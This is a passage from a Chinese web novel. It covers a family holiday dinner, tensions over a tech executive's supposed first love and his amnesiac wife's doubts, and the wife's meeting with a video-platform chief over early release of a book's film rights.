她还有一道能够俘获男女老少的拿手甜品。那是她早上来的时候做的第一道菜,放在冰箱里冰镇了三个小时,这会已经差不多好了。 宋幼萱从冰箱里端出那碗酒酿话梅渍小番茄,用雪碧加糖熬出来的甜水,加上酒酿,把烫过去皮的小番茄放进去,放冰箱里腌渍三小时。这是她在国内一家米其林餐厅吃过的一道很惊艳的甜品,惊艳到她厚着脸皮跑到后厨问厨师要配方。 宁颐然跟表哥表姐溜到后院,三个人追追打打,从后门进厨房。何凌霜渴死了,看到宋幼萱正从冰箱里端出一碗什么糖水,嚷道:“阿姨,你做了什么好吃的?” 厨房也不知道怎么了,今天特别打滑,何凌霜脚下趔趄了一下,扑了上去,一下撞到宋幼萱的胳膊,于是她眼睁睁地看着那碗小番茄全泼到漂亮阿姨身上穿的裙子上了。 宋幼萱气得胸口快炸开,这可是她刚买的大牌最新款真丝连衣裙,花了一万多块啊!鲜红的番茄汁水混着白色酒酿从她胸前往下淌,面前那一块裙子全湿了。她赶紧拿厨房纸巾将裙子擦干净,擦完后汤汁印子更加清楚。 宋幼萱努力控制自己,才忍着没把那女孩给骂一顿。连衣裙报废了不说,她连换的衣服都没有,总不可能就这么走出去。 何凌霜看她气得嘴都歪了,那张脸特吓人,她感觉自己都不用装,慌得赶紧道歉:“阿姨,对不起。刚才不小心。” 对上小姑娘无辜懵懂的脸,宋幼萱只能把火气往肚子里咽。宁颐然靠在流理台边上,一脸淡定地开口道:“阿姨,你身上裙子全湿了。我奶奶那有衣服,你可以找她要。” 何方珍听到厨房里的动静,赶紧进来,看到这个场景只能把何凌霜训一顿,顺便训了何宸和宁颐然两句,然后拉着宋幼萱去换衣服。 偌大的厨房只剩下他们三个小孩,看大人走远了,他们仨把剩下几颗小番茄全吃了。 何宸几口就把番茄给咽了:“卧草!确实很好吃!一点也不酸!” 何凌霜吃了一颗也觉得不错,“很甜哎!早知道我刚才就不撞了。” 宁颐然吃了一口就吐出来:“这是要甜死谁啊!吃多了糖会变笨,你们赶紧别吃了!” …… 何方珍衣橱里大多是适合老年人穿的衣服,料子质地都不错,但款式对宋幼萱来说太老了。她挑了挑去,都挑不到合适自己穿的。最后何方珍翻出自己四十多岁很喜欢穿的花衬衫,“这个你肯定能穿。我四十岁的时候比你现在还瘦。” 宋幼萱忍不了了:“何阿姨,我才三十九。应真比我大一岁,她四十。” 等宋幼萱换好衣服出来,保姆王阿姨已经把餐桌布置好了。菜都摆上了桌,碗筷也都摆好了。三个小孩被安排在小餐桌上吃饭。 宋幼萱看不用跟小孩一桌,松了口气。她是真的对小孩一点也喜欢不起来。 何方珍招呼大家落座。宁君昊拉着应真在他旁边坐下。今天这顿饭,他没打算让应真脱离他的视线。 为了中秋家宴,何方珍毫不吝啬地拿出自己珍藏的红酒,给每个人都倒了,然而举起杯子让大家一起感谢宋幼萱。 “多亏了小宋,我们今天才能在中秋聚在一起吃饭!” 一时间,桌上人都开始夸奖宋幼萱。大舅道:“一个人做这么大一桌子菜,太能干了。” 二舅一上午大红袍喝了好几壶,早已经灌得水饱,这会看着满桌的菜,随手夹了块手边的羊排,嚼了一口,不住点头:“没想到小宋不仅工作上雷厉风行,厨艺也这么好,不得了啊。” 宋幼萱喝了口红酒,终于露出容光焕发的笑容。只可惜身上这花衬衫实在太丑,她都没法坐直身子。 苏苒也是头一回吃她做的饭,已经迫不及地要尝试了,这一吃不由竖起大拇指。 宋幼萱花了一上午时间做的饭,得了全桌人的表扬,尤其是那道烤羊排,比外面大牌饭店做得还好吃。 应真也觉得她做得很好,忍不住向她讨要烤羊排的秘方。宋幼萱忙了这大半天,最得意莫过于此刻,她淡淡一笑:“吃完饭,我加你微信,发给你。” 宁君昊将刚舀好的汤,放在应真手边,“喝汤。” 大舅退休前是政府官员,各种消息渠道比较多,在外头听说了宁君昊公司打算上市的消息,便在饭桌上聊起这个话题,问宁君昊大概什么时候能完成整个上市流程。 这话一出,大家才知道宁君昊的公司已经开始着手上市的事了。虽然猜到早晚会上市,但都没想到进度这么快。 苏苒终于反应过来——难怪刚才宁君昊撒谎瞒自己老婆。这上市紧要关头,他跟应真之间可不能出什么幺蛾子! 宁君昊不想在饭桌上聊这些,举起酒杯碰了碰面前的盘子,“今天家宴,不聊工作上的事。” 两个表哥又问他最近在做什么运动,游泳还是打高尔夫。他们知道宁君昊前几年特别爱打高乐夫,还花巨资买了北市一个豪华俱乐部的顶级会员。 宁君昊将手搭在应真的椅背上,苦笑:“这一年拢共没打过几次,公司游戏上线太忙了。有空的时候,最多在公司健身房跑跑步。” 应真转过头看着他,用两个人才能听得清的音量道:“你什么时候喜欢起打高尔夫了?” 她记得他当年可是对这项运动各种冷嘲热讽。 宁君昊笑着拍了拍她的后背,“女儿出生后,你就开始嫌我碍眼,恨不得我把踢出家门。我周末没事干,就迷上打高尔夫。” 应真直觉他这话有问题,敢情那些年她在家辛苦带女儿,他倒跑到外头潇洒去了?不过当着这些多人的面,她懒得盘问他。 苏苒目光在他们俩身上转了转,笑道:“我说怎么感觉今天君昊没动那个蟹。应真手受伤了,没法给他拆蟹了。” 何方珍一听,心疼儿子,拿起一只蟹腿,就要给儿子拆。宁君昊赶紧劝阻:“妈,我吃饱了。” 这一顿饭,话题还是在宁君昊身上。他虽然不想说话,但架不住大家都把他当焦点。宋幼萱一抬头,对上宁君昊那双没什么温度的眼睛,便什么话都说不出来了。 应真也很快吃饱,刚放下筷子,兜里手机响了。她看了号码,对宁君昊道:“是黄书韵打来的,她找我有事,我去外面接一下。” 黄书韵,宁君昊还是知道的,算是这些年跟应真来往比较多的朋友。他看着妻子拿着手机走到院子里,站在秋千旁的银杏树下接电话。 应真刚接起来,电话那头就传来黄书韵又气又急的声音:“我上回跟你说的那个结婚十年的版权,不是还差几个月到期吗?我去找嘉鼎的老总靳年谈了,我说既然他们没有开发的打算,就提前把那书的版权回流到我手上。我可以补点钱给他们。结果我说破嘴,他就是不同意。说要么我把当初卖版权的那八十万还回去,要么就等着版权到期再说。听他口气,指不定到时候给我整出什么妖娥子……” “靳年?”应真凝眉,“他以前不是在天穹当艺人经纪吗?怎么现在成了视频平台的老总了?” 一聊到靳年,黄书韵就打开了话匣子,“我跟你说,他可牛了,这些年从一个小小的经纪一步步往上爬,中间还自己开了一家经纪公司,做得风生水起,后来他把股份卖出去,财富自由,不知道跑哪神隐了几年。等他再出来,他就成了嘉鼎的老总了。” 应真弯腰捡起一片银杏叶,“你那天跟我说的,我这几天认真思考了一下。我决定接受你的邀请,跟你一起做结婚十年这个项目。” 黄书韵虽然感觉应真会答应自己,但听到她这么笃定的话语,还是很兴奋:“那太好了。有你加入,这个项目肯定能做好。就是靳年这么恶心,我们可能还要再等几个月,版权到期才能开始启动。” 应真拈着那片银杏叶,在纤细的指间转动着,对黄书韵犯愁的事她似乎并不担心,淡笑道:“靳年当年欠我一个人情。下周我陪你一起去见他,看看这个人情还管不管用。” 蛤?黄书韵没想到好友还有这一手,问她是什么人情,应真却不肯说。 “既然你说是人情,那肯定是不小的人情。下周我们一起再去会会他。”对于今天的收获,黄书韵很满意,“你现在在哪?听你声音好像在外面。” 头顶的黄叶扑簌簌地往下落,应真看着那急速下坠的落叶,对电话那头道:“我在我婆婆这吃饭。” 她转头透过玻璃往屋里看了一眼,“书韵,我怀疑宁君昊在外面有情况。” 第17章 第17章换个男人也许可以,但宁…… 妈妈去外面打电话,宁颐然从小桌蹭到主桌吃饭,坐在妈妈的位子上吃。 看到然然妹妹上了大人桌,何凌霜和何宸也不想在小餐桌上吃饭了,一起都跑到大人这桌大快朵颐。 这一顿中秋宴,宁君昊精神多少有些紧张。应真要跟他离婚的一大原因,是因为他跟宋幼萱的公司有业务合作。说真的,他有时候无法理解女人的脑回路。他跟宋幼萱公司合作的理由很简单,资质好,抽成低。怎么到了应真那就成了迈不过去的坎呢? 现在应真不记得那些事了,宁君昊比谁都不希望她想起来。这会她去外头接电话,他也放松下来,去客厅沙发那边,拿出手机,挑重要的信息开始回复。回复完,他发现自己被拉进了一个媒体对接群。 公关部的人正在跟媒体对接下周三家庭采访当天的各种细节。 从创业至今,对于奇技,他一直大权在握。公司里但凡流程审批要经过他的事,各个部门的人都会把他拉进群。虽然老板从不在群里发言,但要确保老板能随时了解进度。 奇技的员工很少敢在群里@宁君昊的,有事找他秘书。合作的媒体没这么多规矩,看奇技的人把他们老板拉进来了,就直接@宁君昊: “宁总,您时间宝贵,我们不想耽误您太多时间。我们想先跟拍应老师半天,多拍些生活素材。您和应老师双人出镜的时长大约十分钟左右。整个双人采访我们保证在两个小时内结束。” 宁君昊在手机上回复:“这个我现在不能答应你。我要先问问我太太的意见。” 媒体方那边回了个笑脸:“主要是应老师这些年实在太低调了,外界对她有些好奇。” 从来不在群里发言的老板竟然冒泡了,原本因为老板在,群里不敢乱说话的奇技员工感觉呼吸都顺畅了。 公关部老大看宁总发话了,忙在群里道:“等应老师那边有消息了,我们再联系你们。” …… 宁颐然一边吃饭,一边听餐桌上的亲戚们夸那位姓宋的阿姨饭做得成功,上得厅堂,下得厨房。 平时家宴都是妈妈做饭,但这会妈妈出去接电话了。所以奶奶和叔叔们夸起外人来也没什么顾忌。 宋阿姨笑得脸色绯红:“哪有你们说的那么好,到现在都嫁不出去。” 宁颐然听到小婶婶道:“那都是你眼光太高。” 奶奶也表示赞同:“这要不是眼光高,也不可能单身到现在。你们快帮幼萱看看,有没有适合她的青年才俊。” 三个小孩虽然在埋头吃饭,耳朵却一直在关注大人聊天内容。其实宁颐然也在听,但她表姐似乎觉得她耳朵聋了,一直用胳膊肘撞她,给她使眼色。 奶奶不知怎的把话题扯到她身上:“然然,这位宋阿姨可是伦敦大学毕业的高材生,你不是说以后也想去英国读大学吗?有什么问题可以多问问宋阿姨。” 宁颐然撇了撇嘴:“我早不想去英国读书了。那地方天天下雨有什么好去的。我要去美国上常青藤。” 奶奶却仍然不想放过这个让孙女见贤思齐的机会,“上次听你妈妈说,教了你十年的外教回国了,有空你可以跟宋阿姨练练口语,她说一口地道的伦敦腔。宋阿姨不仅工作上出色,做饭也做得这么好,上得厅堂,下得厨房……” 宁颐然现在最听不得的就是“上得厅堂,下得厨房”八个字,撅着嘴道:“我爸说了,我以后不需要会做饭。都什么年代了,找老婆又不是找保姆。” 几句话说得宋幼萱脸上发僵,桌上的人只能讪笑。谁不知道宁君昊这个宝贝女儿,从小被惯坏了,说起话来不依不饶。 这个年纪的孩子都是一身反骨,何凌霜也不喜欢听姑奶奶刚才说的,附和道:“就是,要真这么管用,宋阿姨还用着相亲?” 小孩天真无邪的话,像几记响亮的耳光,宋幼萱只能干笑。苏苒冲女儿“啧”得一声:“就你多嘴!赶紧吃饭!” …… 吃饭完,所有人都移步到客厅另外一边。王阿姨来收拾餐桌,宋幼萱刚才吃饭前已经把脱下的衣服洗好放进烘干机快烘,这会应该差不多好了。 她下楼去洗衣房拿烘干的裙子,正要去隔壁洗手间换。楼梯间传来脚步声,她探出头一看,宁君昊的女儿不知道什么时候跟下来了。 十四岁的女孩,眉眼间已经褪去些许稚气,流露出少女的青涩气息。她不仅身高遗传了她父亲,连眉眼间神韵都像。不同于母亲眉眼弯弯,温柔似水,此刻女孩那双细长的眼睛正略带审视地看着她。 宋幼萱努力绽出一丝温和笑容:“你是来下面找东西的吗?” 宁颐然并不回答,双手抱臂看着她:“听说你是我爸的初恋女友?” 那小表情活像一棵带刺的仙人掌,宋幼萱被逗乐,面上却很淡然:“是啊。你怎么知道?” “为什么你跟我爸说的不一样。我爸说,我妈才是他的初恋。”宁颐然从口袋里掏出手机,一脸严肃道:“正好今天大家都在,我打电话跟我爸问问。倒底谁才是他初恋。” 宋幼萱没见过这么直愣的孩子,看她真开始拨电话,赶紧上前拽住她的手,“这都十几年前的事了。早就过去了。有什么好提的?” 宁颐然吁出一口气:“也是。即便你真是我爸的初恋,那也是十几年前的事。我就是来告诉你一下,如果你想当我后妈,我不会同意的。” 呵。宋幼萱快被气笑了。她没跟teenager打过交道,在英国的时候看到成堆的teenager她都绕道走。她没想到自己竟然会被国内一个十来岁的小孩说得涨红了脸:“你可你别乱说,我没这个想法。” 宁颐然耸了耸肩,一副“YouKnow”的表情。 她这副无所谓的样子,极大地刺激了宋幼萱,她猛地反应过来,自己刚才好像被一个小姑娘牵着鼻子走了。回过味后,她反而笑了,“想不想知道我和你爸当年的故事。” 宁颐然眨眨眼:“你说说看。” 宋幼萱拿起烘干的连衣裙进了洗手间,一边换衣服一边道:“我跟你爸爸是在游戏上认识的。当时我也跟你差不多大……” 蛤?宁颐然脱口而出:“你也早恋啊?” 宋幼萱已经很多年没跟人提起过当年的事了。毕竟二十多过去了,那些往事在反复咀嚼中渐渐模糊。 说起来,她跟宁君相识是她骗了他。当年她只有十四岁,还在英国上初中,打游戏认识了正在国内Q大上学的宁君昊。 她骗宁君昊她也是大学生,在伦敦大学念大二。宁君昊还真的信了,两人经常一起打游戏、聊天,走得越来越近。她经常让宁君昊帮她写数学作业,骗他是她上初中的妹妹的作业。 十六岁那年暑假,宋幼萱特意把自己打扮得很成熟,从伦敦飞到北市来找宁君昊。她在Q大门口等了好几天,他就是不肯来见她。 后来还是宁君昊师弟周添看她可怜,带她去学校食堂吃饭。她厚着脸皮跟在周添后头,去他们在校外租的工作室里。宁君昊那时候已经开始创业,每天对着电脑鼓捣着游戏,根本不搭理她。她骗他这趟是背着父母回国的,身上没有太多钱,住不起酒店,求他收留自己。 宁君昊让她没钱赶紧回英国。他每天在工作室忙到晚上九点,然后回自己的住处,根本不管她一个女孩住哪儿。后来周添看她是真穷,把自己的行军床让给她。 于是那个暑假,她晚上便睡在他们的工作室里,跟十几台二手电脑和时不时蹿出来的老鼠住在一起。她想不通为什么宁君昊突然不理自己了,明明在网上很耐心地教她打游戏,陪她写作业。 直至她回国的那天,宁君昊对她说:“那个游戏号我以后不会再登了。你回去好好学习,没考上大学不准玩游戏。” 宋幼萱睁大眼睛看着他:“你什么时候知道我不是大学生的……” 宁君昊冷哼道:“你忘了我是学什么的。在互联网上查一个人很简单。” 就这样,宁君昊再也没登过那个游戏号,在她的生活里彻底消失。北市那个炎热的暑假便成为了她脑海里永远挥之不去的记忆。她难受了好久,瘦了十几斤,后来才慢慢缓过来,考上了非常好的私立高中,最后进了伦敦大学,学了跟宁君昊一样的专业。 大学毕业后,她在当地一家游戏公司找到一份不错的工作,前后也交了几个男朋友。可是,随着年龄的增长,她越来越发现自己很难爱上外国男人。虽然她很早就到英国念书了,可是那道无形的墙始终在。于是她毅然决然地回国发展。 回国后,她才知道当年跟自己网恋的男孩现在已经成了国内数一数二的游戏公司的老板。朋友知道她跟宁君昊网恋过,简直如获至宝,“天呐!你竟然是宁君昊的初恋。他们这些搞技术出身的大佬,也只有在他们还纯爱的时候才有机会俘获他们。不信,你看宁君昊后来找的老婆。你知不知道你错过了什么?” 不是不后悔的。也许当年再努力一点,如今的宁太太便是她了,可是人生没有如果。就在她快要放弃时,她看到应真在网上发的那段文字…… …… 宋幼萱从回忆中抽离,小姑娘正撑着下巴目不转睛地看着自己,“你现在相信我是你爸的初恋女友了吧?” 宁颐然咧嘴:“我爸才不会让自己初恋女友和老鼠睡一起呢。而且我爸这人最讨厌欺骗,当他知道你骗了他,你在他那就PASS了。” 宋幼萱的脸瞬间黑了:“你懂什么!” 宁颐然:“我当然懂了。我爸爸经常说我很像他……” 她还想往下说,楼梯那响起妈妈的声音:“然然,我们该回去了。” 宁颐然得到自己想要的答案,心满意足地冲宋幼萱挥了挥手:“阿姨,再见。” * 回去路上,宁颐然发现妈妈没有坐在副驾,而是跟她一起坐在后排。 妈妈一直低着头看手机,以至于爸爸看她哪几眼,她也没发现。可是,明明妈妈以前不爱刷手机的,甚至对她在车上玩手机深恶痛绝。 车里实在安静,安静得宁颐然坐在那儿浑身难受。她感觉自己整个像一壶快要烧沸的开水,随时崩不住就快要把壶盖顶开了。 宁颐然因为心里有事,把自己跟妈妈正在冷战的事忘得干干净净,憋不住破功,主动开口,“爸爸,你年轻的时候是怎么追上妈妈的?” 宁君昊没想到女儿问起这事来,眼里浮上淡淡笑意:“哪里是我追你妈妈啊,明明是你妈妈……” 正在看手机的应真抬头瞥了他一眼,那含义不言而喻,于是他只是老老实实道:“你妈妈年轻的时候演过一部电影叫孤影江湖,她在里头演一个侠女。当时Q大电教楼经常放,把Q大男生迷倒了一半,我们系甚至有男生为她建了个论坛。我当时也很喜欢那部电影。” 说到这,宁君昊有些泛酸,他当然不会承认自己是应真的粉丝,“毕业后,我开公司认识了一些演艺行业的人,有一天一个很有名的动漫导演,他是你妈妈的好朋友,听说我很喜欢你妈妈的电影,就立马要介绍我们认识。” “其实那天中午我刚参加了一个饭局,已经喝了不少酒,有些微醺了。但听说有机会跟你妈妈见面,我毫不犹豫答应了。怕酒气薰到你妈妈,我特意在饭店外头多站了半个小时,等酒气散了才进包间。” 这个故事版本应真从来没听过,她有些恍然地呵道:“我一直以为你那天是因为见到我才脸红,没想到是喝酒了。” 宁君昊:“都有吧。那时候我大学毕业没几年,愣头青一个,看到自己喜欢的女人哪能不脸红。” 这是宁颐然第一次从爸爸嘴里听到“喜欢”这两个字,她感觉自己鸡皮疙瘩都快出来了,当着父母的面也不好说什么,只能呲牙咧嘴地做呕吐状。 应真兴致并不高,神色淡淡地坐在那儿。到家后,她去洗手间卸妆,出来的时候,地板上赫然两只袜子。 等宁君昊进来的时候,便看到妻子正翘着脚坐在床边抹护手霜,而他刚脱下的那两只袜子就那么躺在地上。 二十五岁的应真就像一汪清澈见底的溪流,她抬眼看自己的丈夫,眼里的情绪一览无余:“你是不是有什么事瞒着我?” 宁君昊弯腰捡起那两只袜子,转身进洗手间,扔进了脏衣篓,“我能有什么事瞒着你?” 他神色如常,只是眼里有淡淡的疑惑。应真想问宋幼萱的事,可是她的骄傲让她无从开口。 他刚才在车里跟女儿说的基本是事实。自从那次在饭局上见过后,他就对她展开了热烈的追求,可以用穷追不舍四个字形容。正是因为有强烈的被爱着的感觉,应真才开始一点点对他敞开心扉,也慢慢爱上他。 她不知道四十岁的自己是怎么想的,二十五岁的她,绝不接受这段感情有任何瑕疵。 换个男人也许可以,但宁君昊不行。她对这段感情纯度的要求是百分百。 于是,她笑着对他说:“没有就好。你知道的,我最讨厌欺骗。” 第18章 第18章美好事物的衰败总是让人…… “今天你让司机送女儿去学校。我上午有点事。” 听到这句话,宁颐然正在和爸爸坐在餐桌边吃早餐。父女俩不约而同看向刚从地下室上来的应真。 应真穿了件风衣,脚上趿着室内拖鞋,手里拎着双从地下室翻出来的高跟鞋。她把那双高跟鞋放在玄关的地板上,预备等会出门穿。 宁君昊:“你上午什么事?” 应真:“我跟黄书韵要去见一个朋友。” 跟黄书韵一起去见的朋友,那应该是演艺圈的。宁君昊想问男的女的,他忍住了,只道:“今天我没让司机开车来接我。公司周一早上有晨会,这个点送女儿去学校再拐到公司,我来不及。” 这理由听上去很充分。应真却并不想让步,她抬头看着他:“你是老板,几点开会还不是你说了算。晚半个小时的权力也没有?” 宁颐然吃着早饭,听她爸妈商讨早上谁送她的事。他们俩讨论得欢,却没人问她的意见。而且妈妈刚才那句“让司机送她去学校”是跟爸爸说的,对她连句解释都没有,甚至都没看她一眼。 她心里有些发闷,一种被忽视的感觉。其实,小时候她特别粘妈妈。如果妈妈因为别的事情,而减少陪伴她的时间,她会生闷气。她生闷气的方式,就是撅着嘴巴,用后脑勺和屁股对着妈妈。 这一招对妈妈有奇效,每次只要她这样,妈妈就会很温柔地哄着她。虽然妈妈跟她说过很多次:表达自己生气的方式有很多种,生闷气是最不值得的。 “宝宝啊,生闷气只能伤害到你自己和爱你的人。在那些不在意你的人面前,生闷气难受的只你自己而已。” 宁颐然捂着耳朵“我不听我不听”。妈妈拿着没办法,还是会在她生闷气的时候哄她。随着年龄的增长,她不再会用那种幼稚的方式来表达自己的情绪了。她讨厌妈妈还像小时候一样把她当个宝宝,她更喜欢跟同学朋友待在一起。 即便她不再像小时候那样需要妈妈的目光,但是那道目光必须始终环绕着她。 于是,宁颐然早餐也不吃了,气呼呼道:“既然你们俩都有事,那我自己打车去学校好了。” 宁君昊跟妻子对视一眼,最后还是做出让步:“今天爸爸送你去学校。” 吃完早饭,宁颐然背着书包跟爸爸一起出门。她将书包扔到后座,打开副驾的门坐了进去。 宁君昊汽车刚开出去,就听到女儿说:“爸爸,你不觉得妈妈不对劲吗?肯定是你露馅了。” 宁君昊不明就理:“什么露馅了?” 宁颐然第一次对爸爸的智商产生了怀疑:“昨天从奶奶那回来,妈妈就有些不对劲。她肯定是知道宋阿姨是你的初恋女友了,在生你的气!城门失火,殃及池鱼……” 一阵紧急刹车,很快汽车轮胎摩擦地面发出的尖利声音便刺入耳膜。迈巴赫开出去一百米后再次刹停在路边。 宁颐然系着安全带的身体向前一栽,转头便看到爸爸那双暗沉的眼睛。 宁君昊眉头拧了起来:“谁说她是我的初恋女友了?” 她从来没见过爸爸这么严肃的样子,那双眼睛锐利得像两把刀,仿佛能洞察人心一般。爸爸似乎很生气,她不敢说假话,便把昨天从霜霜表姐和宋幼萱那听来的,全告诉了爸爸。 宁君昊脸色铁青,蓦地想起昨天回来后,应真问的那些话,顿时感觉头有些疼。 到了这个年纪,他极少对自己的决策感到过后悔。跟宋幼萱公司合作的事,他之前一直觉得没有问题。游易负责《时光之烬》的国内外推广,抽成比例只占5%,远低于行业平均20-30%抽成比例。况且,宋幼萱和她的创业伙伴在国内外各大游戏平台和渠道都有不错的人脉。只可惜是初创公司,宁君昊看出她们极需借助国内游戏公司打开局面,将抽成比例一压再压,最后压至5%。 对于一个最终年营收规模将在百亿级的游戏项目来说,光游戏推广抽成可以省下十几个亿。他是个商人,不可能对这笔钱无动于衷。 周一的早晨,外头秋日正浓,桂花的香气直往车里钻。宁君昊却有些烦躁,对他来说,应真比他经手的任何商业项目都难搞。 他难得地跟女儿吐露一丝心声,“那位姓宋的阿姨,的确是我的旧识,不是我初恋女友。我跟她不过是业务上有往来而已。我这辈子爱过的女人只有你妈妈。” 说到最后,他眉眼有些沉郁。然而宁颐然却出奇的平静,眨了眨眼:“爸爸,我知道。但是你有机会还是跟妈妈解释一下吧。” 这孩子平时看上去小大人一样,说起话来却让宁君昊笑不出来。解释要是真的管用,先前应真就不会跟他提出离婚。 * 嘉鼎大厦,周一靳年一大早就来到办公室。花半小时参加了一个采购会议,又接了好几个电话,时间才堪堪九点。 秘书把去员工食堂给他买回来的早餐端进来。他的早餐很简单,一碗南瓜粥,一碟素蒸饺,再加一个水煮鸡蛋。 南瓜粥还没喝完,秘书又敲门进来,“靳总,有位叫应真的女士来公司找你,现在人在楼下大堂。” 靳年正低头喝粥,闻言抬起头,手里的勺子也跟着放了下来,一副不可置信的模样:“你说谁来找我?” 秘书被他瞪得有些紧张,“应真。她说她是您以前在拓白时的朋友。” 靳年“嘶”的一声,抬手摸了摸自己的下颌,久远的名字有他有些恍惚,喃喃道:“应真她不是嫁了个很厉害的老公吗?她一个富太太突然来找我有什么事?” 秘书:“黄书韵跟她一起来的。应该是为了那个结婚十年的版权。” 靳年知道应真跟黄书韵是好朋友,但这些年她专心当全职太太,极少露面。他没想到她竟然会为了黄书韵而亲自上门找他。 嘉鼎购买《结婚十年》的版权是他上任之前的事,买回来后便搁置了。可预见的未来也不会投入成本进行开发。离版权到期还有六七个月时间,他当然可以签字提前解除合同,这是他作为公司总裁的权力。但他犯不着,合同在那,一切按合同流程来好了。 “你让一楼前台把她们带上来。”靳年想了想,又道,“不,你还是亲自下楼去接一下。” 秘书正要领命而去,他又叫住,指了指面前的餐盘:“把这个收走。” …… 靳年现在最怕见到年轻时候的女神,尤其是已经退圈了的。不干这一行了,保养上自然没法跟还在圈子里打拼的比。前几天,他在网上刷到一个十几年前演过几部爆剧的女明星,当年也是以明艳著称的,现在顶着中年阿姨最爱烫的满头小卷,人胖了许多,就是一典型的大妈,坐在那儿大谈自己对婚姻的看法。 只一眼,靳年便赶紧滑过去。时间太残忍了,女神也逃不过时间的摧残。美好事物的衰败总是让人心生感慨。 应真也退圈好多年了,前几年有一次跟老公孩子外出吃饭,被路人拍了照片发到网上。靳年看了那张照片,心里也挺感慨的。年轻时灵气快溢出屏幕,人到中年为什么都面目模糊起来? 所以,当应真穿着一袭风衣,踩着高跟鞋,跟黄书韵一起进来,笑盈盈地站在那儿,靳年竟莫名地松了口气。 “现在该叫你靳总了。好久不见,靳总。” 在应真的记忆里,靳年是拓白业绩最好的经纪人,手底下好几个当红明星。十几年过去了,没想到他竟然成了国内最大视频网站的老总。除了微微有些发福,双鬓些许白发,气场比以前强大了许多,他似乎没有太大变化。 她一开口,靳年发现她一点没变,还是那个应真,瞬间让他想起二十年前在银市那一个月的时光。 他对应真这十几年的生活颇为好奇,问了问她女儿和丈夫的情况,“当初你说退圈,我没想到你退得这么彻底。结婚以后,当真就专心在家相夫教子。我当年以为你会一直演下去呢。说实话,这些年,有时候想起来,我都觉得挺可惜的。” 这十几年在应真这一片空白,她喜欢通过自己的感受和别人的叙述来拼凑自己这些年的生活。听靳年这么说,她淡笑道:“你知道我的,没法一心二用。演戏的时候,只能专注在演戏上。结婚了,有了家庭,想做个好妈妈好妻子,就专注在家庭生活上。现在女儿大了,没那么需要我了,我就想也许可以出来做点事。” 应真也不跟他兜圈子了,把自己打算跟黄书韵一起创业,做《结婚十年》这个项目的事,跟靳年和盘托出:“我跟黄书韵打算一起筹集资金来做个电影。黄书韵担任编剧和导演,我来出演。我们初步打算明年圣诞节上映。算一算时间还是挺紧张的。靳总,你这边不松口,我们不敢启动啊。” 靳年打量着她,她的状态看上去比路人照片里的要好很多。脸上虽然也沾染了岁月的痕迹,但那双眼睛却一如记忆里的清澈透亮,没沾染一丝世俗的污垢。 看来这些年,她的丈夫把她保护得很好。以至于,她觉得拍电影是件很容易的事。 这个念头一闪而过,靳年又意识到另一件事,像《结婚十年》这种类型的小制作,几千万搞定,她丈夫付得起。 靳年心里泛起一丝难言的滋味,面上表情却一丝变化也无:“我记得你丈夫是游戏行业的,难道他也想进军影视行业?不然你放着好好的富太太不当,怎么突然想起来创业?” 应真一脸认真:“我跟你说实话,这事我到现还没跟他提过。我很喜欢结婚十年这本书。靳年,你知道我的,真正想做的事,我一定会倾尽全力去做的。拍电影这事,我丈夫他不懂,我也不会让他介入到我的工作中来。” 这些年,靳年已经很少被人直呼大名了。乍被她这么一叫,突然感觉耳朵有点痒。 他现在这个位置,并不会轻易许诺什么:“你们要做也不急于这几个月的时间,合同还有六七个月到期。等到期了,版权自动回流到黄书韵手里。你们也不用着急于这几个月吧。” 一直没吭声的黄书韵着急了,“怎么不着急啊?我这边已经谈好两千万的投资了,你不签字,我们没法启动啊。” 靳年不以为然:“两千万肯定不够,现在拍一部都市低成本的电影至少也要五千万……” 他现在一副上位者的姿态,应真脑中却闪过他当年衣衫凌乱地从狄澄房间里出来的模样。在银市那一个月的事,对现在的她来说,依然记忆犹新。 于是,她抬眸看着他,眼里浮上淡淡笑意:“靳年,你能不能别跟我打官腔了。当年狄澄的事,你说了你欠我一个人情。我今天是来跟你讨这个人情的。” 第19章 第19章女人的第六感就是个玄学…… 靳年的办公室很大,有一面墙嵌入了整墙的弧形LED屏,上面实时跳动着嘉鼎旗下所有内容栏目的热度曲线。 另一面墙上则悬挂着一副巨大的书法横幅,上面就六个大字:观众喜欢最重要。 应真凑近去看下面的落款,是一个她听说过的书法大家。 刚才她提到狄澄,靳年眼里闪过一丝尴尬,没法再跟她打官腔了。他向黄书韵提出,要单独跟应真聊几分钟。 黄书韵看这架势,知道他们谈的内容肯定不方便别人知道。如果是版权合同的事,不可能避开她。她只能起身去外面等。 …… 偌大的办公室,现在只剩下应真和靳年两个人。 靳年上班时间不饮酒,但今天却想喝上一杯。他从红酒柜里拿出一瓶珍藏许久的红酒,给自己和应真各倒了半杯。 倒酒的时候,他看到应真一直站在那一整面LED屏前,便道:“宁君昊的办公室比我这大吧?他是搞游戏的,办公室里高科技玩意肯定比我这里多。” 应真接过他递过来的红酒,“他的办公室长什么样,我真不知道,我还没去过。” 靳年有些惊讶:“结婚这么多年,一次没去过啊?” 应真不知道怎么解释发生在自己身上的事,只道:“他们公司才搬到新的办公大楼没多久。” 靳年看着她,语气温和了许多:“应真,如果是讨要人情,你在电话里说就行了,哪里需要你亲自跑一趟。” 毕竟年轻的时候是知根知底的朋友,他的社交面具褪去,不再是高高在上的靳总,而是应真熟悉的那个靳年。 应真一脸认真:“那不行。毕竟这么多年过去了,你很可能早忘了。你现在可是靳总。” 靳年苦笑:“什么靳总,我就是给公司打工的。怎么可能忘了?你可是我的救命恩人。” 那一年,应真在银市拍《孤影江湖》,狄澄在那部戏里担任女四号,男二是靳年手下的艺人。 银市拍戏条件艰苦,所有场景几乎都在一片黄土高原之上。应真和几个主演整天都在吃土,拍戏时身上全是沙子,还经常灌到耳朵里。 男二是资方塞进来的大少爷,哪里吃过这种苦。他在这鸟不拉屎的地方吃沙子,自己经纪人倒在北市吃香的喝辣的。大少爷气不过,一个电话把靳年喊了过来。靳年只好来银市陪大少爷一起吃沙子,没几天就跟演员和工作人员打成一片。 当年,大家都是二十出头的年纪,在这封闭又艰苦的环境里,除了拍戏也无事可干,年轻人的荷尔蒙无处发泄。 开拍没多久,剧组里就多了几对临时情侣。靳年身材高大,相貌端正,来探班的那一个月,剧组好几个女孩对他有意思。 不过,他就像个中央空调,对谁都好,看不出对谁更好。在剧组所有女孩里头,应真反而是跟他最不熟的。 《孤影江湖》是她第一次担纲女主角,戏份吃重,动作戏又多。从开机第一天开始,她的精神就处于高度紧张当中,根本无暇分神。 所以,剧组里的八卦她一个也不知道。直到有一天拍完夜戏回来,看到靳年从狄澄房间里出来,才知道他跟狄澄好上了。 